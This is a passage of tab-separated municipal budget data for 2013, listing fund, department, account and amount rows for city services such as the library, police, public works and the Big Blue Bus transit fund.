983	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578300.0	SUPPORTIVE HOUSING PROGRAM	908.0	 Supplies and Expenses	2013	113192.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	113192.0
984	B1	IS	33	Airport Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578200.0	AIRPORT REIMBURSEMENT FOR SBDC		 Supplies and Expenses	2013	-29868.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-29868.0
985	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578250.0	STORMWATER / WASTEWATER REIMB		 Supplies and Expenses	2013	1099737.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1099737.0
986	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	555060.0	PROFESSIONAL SERVICES	862.0	 Supplies and Expenses	2013	17250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17250.0
987	B1	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	908.0	 Supplies and Expenses	2013	-1912697.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1912697.0
988	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402360.0	WATER - METER SRVC / INSTALL	650.0	Charges for Service	2013	-312000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-312000.0
989	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404800.0	WATER DEMAND MITIGATION FEE	650.0	Charges for Service	2013	-300000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-300000.0
990	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	400210.0	CITY CLERK COUNTER FEES	612.0	Charges for Service	2013	-788.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-788.0
991	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	401060.0	STATE SB 90 CLAIMS	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	-22000	0.0	0	0	0.0	-22000.0
992	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400670.0	FIRE PERMITS / FEES	608.0	Licenses and Permits	2013	-743392.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-743392.0
993	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522950.0	CNG FUEL	806.0	 Supplies and Expenses	2013	23236.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23236.0
994	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2013	9500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9500.0
995	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2013	27000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27000.0
996	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511490.0	OVERTIME	816.0	Salaries and Wages	2013	5144.0	0	0.0	0.0	0	0	0.0	51	0.0	0	0	0.0	5195.0
997	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522180.0	BANK FEES		 Supplies and Expenses	2013	800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	800.0
998	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522180.0	BANK FEES		 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
999	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2013	26833.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26833.0
1000	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2013	29178.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	29178.0
1001	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2013	90646.0	0	0.0	0.0	0	0	0.0	6281	0.0	0	0	0.0	96927.0
1002	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2013	130663.0	0	0.0	0.0	0	0	0.0	5682	0.0	0	0	0.0	136345.0
1003	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2013	142135.0	0	0.0	0.0	0	0	0.0	1421	0.0	0	0	0.0	143556.0
1004	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	111601	0	0.0	111601.0
1005	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	140689.0	0	0.0	9204.0	0	0	0.0	1499	0.0	0	0	0.0	151392.0
1006	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	83485.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	83485.0
1007	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	76109.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	76109.0
1008	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	10390.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10390.0
1009	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511749.0	VISION	806.0	Salaries and Wages	2013	9283.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9283.0
1010	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2013	7405.0	0	0.0	0.0	0	0	0.0	74	0.0	0	0	0.0	7479.0
1011	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511748.0	DENTAL	806.0	Salaries and Wages	2013	1535.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1535.0
1012	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511747.0	CASH-IN-LIEU	804.0	Salaries and Wages	2013	1800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1800.0
1013	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2013	383.0	0	0.0	0.0	0	0	0.0	4	0.0	0	0	0.0	387.0
1014	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2013	17964.0	0	0.0	486.0	0	0	0.0	0	0.0	-259	0	0.0	18191.0
1015	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2013	2731.0	0	0.0	-7.0	0	0	0.0	0	0.0	-32	0	0.0	2692.0
1016	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2013	4484.0	0	0.0	0.0	0	0	0.0	45	0.0	0	0	0.0	4529.0
1017	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511749.0	VISION	816.0	Salaries and Wages	2013	952.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	952.0
1018	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511748.0	DENTAL	816.0	Salaries and Wages	2013	5608.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5608.0
1019	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511749.0	VISION	816.0	Salaries and Wages	2013	685.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	685.0
1020	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2013	2985.0	0	0.0	-130.0	0	0	0.0	0	0.0	0	0	0.0	2855.0
1021	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	1615.0	0	0.0	0.0	0	0	0.0	16	0.0	0	0	0.0	1631.0
1022	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2013	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
1023	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	577062.0	OTHER TRAFFIC EXPENSES		 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
1024	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	15320632.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15320632.0
1025	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522720.0	MILEAGE	816.0	 Supplies and Expenses	2013	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
1026	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511490.0	OVERTIME		Salaries and Wages	2013	100000.0	0	0.0	0.0	0	0	0.0	1000	0.0	0	0	0.0	101000.0
1027	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522160.0	TRANSFER STATION FEE		 Supplies and Expenses	2013	220.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	220.0
1028	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511490.0	OVERTIME	812.0	Salaries and Wages	2013	6586.0	0	0.0	0.0	0	0	0.0	66	0.0	0	0	0.0	6652.0
1029	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522130.0	UTILITIES - WATER	812.0	 Supplies and Expenses	2013	46300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	46300.0
1030	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2013	2750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2750.0
1031	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
1032	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2013	4950.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4950.0
1033	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	2035.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2035.0
1034	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2013	2800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2800.0
1035	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2013	819766.0	0	0.0	0.0	0	0	0.0	8198	0.0	0	0	0.0	827964.0
1036	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2013	52051.0	0	0.0	0.0	0	0	0.0	521	0.0	0	0	0.0	52572.0
1037	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2013	555481.0	0	0.0	0.0	0	0	0.0	5555	0.0	0	0	0.0	561036.0
1038	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2013	101007.0	0	0.0	0.0	0	0	0.0	1010	0.0	0	0	0.0	102017.0
1039	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2013	111271.0	0	0.0	0.0	0	0	0.0	1113	0.0	0	0	0.0	112384.0
1040	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2013	8500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8500.0
1041	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	12676.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12676.0
1042	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	4697.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4697.0
1043	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	816005.0	0	0.0	0.0	0	0	0.0	35053	0.0	0	0	0.0	851058.0
1044	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511979.0	MEDICAL EXAMS		Salaries and Wages	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
1045	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2013	4409904.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4409904.0
1046	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	1061130.0	0	0.0	0.0	0	0	0.0	-7027	0.0	0	0	0.0	1054103.0
1047	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511490.0	OVERTIME		Salaries and Wages	2013	5000.0	0	0.0	0.0	0	0	0.0	50	0.0	0	0	0.0	5050.0
1048	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577080.0	TMP FEES REIMBURSEMENT	908.0	 Supplies and Expenses	2013	-252521.0	0	0.0	0.0	0	0	0.0	-40087	0.0	0	0	0.0	-292608.0
1049	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	816.0	 Supplies and Expenses	2013	30750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30750.0
1050	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522111.0	UTIL-LIGHT/POWER-GF	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	169763	0	0.0	169763.0
1051	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522112.0	UTIL-LIGHT/POWER-BEACH	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	77007	0	0.0	77007.0
1052	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	403010.0	OPERATING INTEREST - CITY	659.0	Investment Income	2013	-75250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-75250.0
1053	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407020.0	PROP C TRANSIT SECURITY	658.0	Sales Tax	2013	-1154362.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1154362.0
1054	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522620.0	RENT	808.0	 Supplies and Expenses	2013	150198.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	150198.0
1055	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407390.0	GYM RENTALS	618.0	Rentals	2013	-45990.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-45990.0
1056	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578080.0	TRANSIT MALL MAINTENANCE	910.0	 Supplies and Expenses	2013	97066.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	97066.0
1057	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577066.0	DELIVERY CHARGES		 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
1058	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2013	205.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	205.0
1059	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407501.0	CAPITAL GRANTS-MISC PROJ-TDA	657.0	Capital Grants	2013	-12438377.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-12438377.0
1060	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401040.0	DONATIONS	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
1061	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	1086906.0	0	0.0	-74244.0	0	0	0.0	10127	0.0	0	0	0.0	1022789.0
1062	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	16950.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16950.0
1063	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	43076.0	0	0.0	0.0	0	0	0.0	431	0.0	0	0	0.0	43507.0
1064	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	48013.0	0	0.0	0.0	0	0	0.0	596	0.0	0	0	0.0	48609.0
1065	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	25995.0	0	0.0	-38.0	0	0	0.0	0	0.0	0	0	0.0	25957.0
1066	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	34724.0	0	0.0	-38.0	0	0	0.0	0	0.0	-401	0	0.0	34285.0
1067	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2013	86402.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	86402.0
1068	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2013	642483.0	0	0.0	0.0	0	0	0.0	6425	0.0	0	0	0.0	648908.0
1069	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	111196.0	0	0.0	0.0	0	0	0.0	1112	0.0	0	0	0.0	112308.0
1070	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	270517.0	0	0.0	-10000.0	0	0	0.0	0	0.0	0	0	0.0	260517.0
1071	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	48467.0	0	0.0	0.0	0	0	0.0	485	0.0	0	0	0.0	48952.0
1072	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	137308.0	0	0.0	1738.0	-1738	0	0.0	0	0.0	0	0	0.0	137308.0
1073	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511746.0	MED TRUST - MISC. EMPL	840.0	Salaries and Wages	2013	38085.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38085.0
1074	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511773.0	RETIREMENT - MISC. EMPL	840.0	Salaries and Wages	2013	283891.0	0	0.0	0.0	0	0	0.0	3156	0.0	0	0	0.0	287047.0
1075	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511749.0	VISION	806.0	Salaries and Wages	2013	1629.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1629.0
1076	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511749.0	VISION	806.0	Salaries and Wages	2013	23583.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23583.0
1077	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511748.0	DENTAL	804.0	Salaries and Wages	2013	6849.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6849.0
1078	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511749.0	VISION	816.0	Salaries and Wages	2013	411.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	411.0
1079	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2013	5883.0	0	0.0	0.0	0	0	0.0	59	0.0	0	0	0.0	5942.0
1080	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511748.0	DENTAL	816.0	Salaries and Wages	2013	21917.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21917.0
1081	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511749.0	VISION	816.0	Salaries and Wages	2013	2868.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2868.0
1082	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511748.0	DENTAL	816.0	Salaries and Wages	2013	32443.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	32443.0
1083	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511749.0	VISION	816.0	Salaries and Wages	2013	1773.0	0	0.0	0.0	0	0	0.0	-205	0.0	32	0	0.0	1600.0
1084	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511749.0	VISION	808.0	Salaries and Wages	2013	685.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	685.0
1085	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2013	6730.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6730.0
1086	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2013	22782.0	0	0.0	0.0	0	0	0.0	228	0.0	0	0	0.0	23010.0
1087	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2013	211.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	211.0
1088	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
1089	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561171.0	EMERGENCY FOOD DISTRIBUTION		 Supplies and Expenses	2013	104521.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	104521.0
1090	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561291.0	UBH-FAMILY PLACE TRANS HOUSING		 Supplies and Expenses	2013	15375.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15375.0
1091	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562341.0	SMC- The Pico Promise		 Supplies and Expenses	2013	155230.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	155230.0
1092	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	564111.0	CASE MANAGEMENT AND EDUCATION		 Supplies and Expenses	2013	92250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	92250.0
1093	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	407690.0	TAXI DECAL FEE	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	355000	0	-355000.0	0.0
1094	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
1095	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2013	8250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8250.0
1096	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400682.0	MEDICAL SUPPLIES REIMBURSEMENT	612.0	Charges for Service	2013	-50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-50000.0
1097	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2013	2096048.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2096048.0
1098	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	118991.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	118991.0
1099	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	153231.0	0	0.0	0.0	0	0	0.0	5000	0.0	0	0	0.0	158231.0
1100	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	106272.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	106272.0
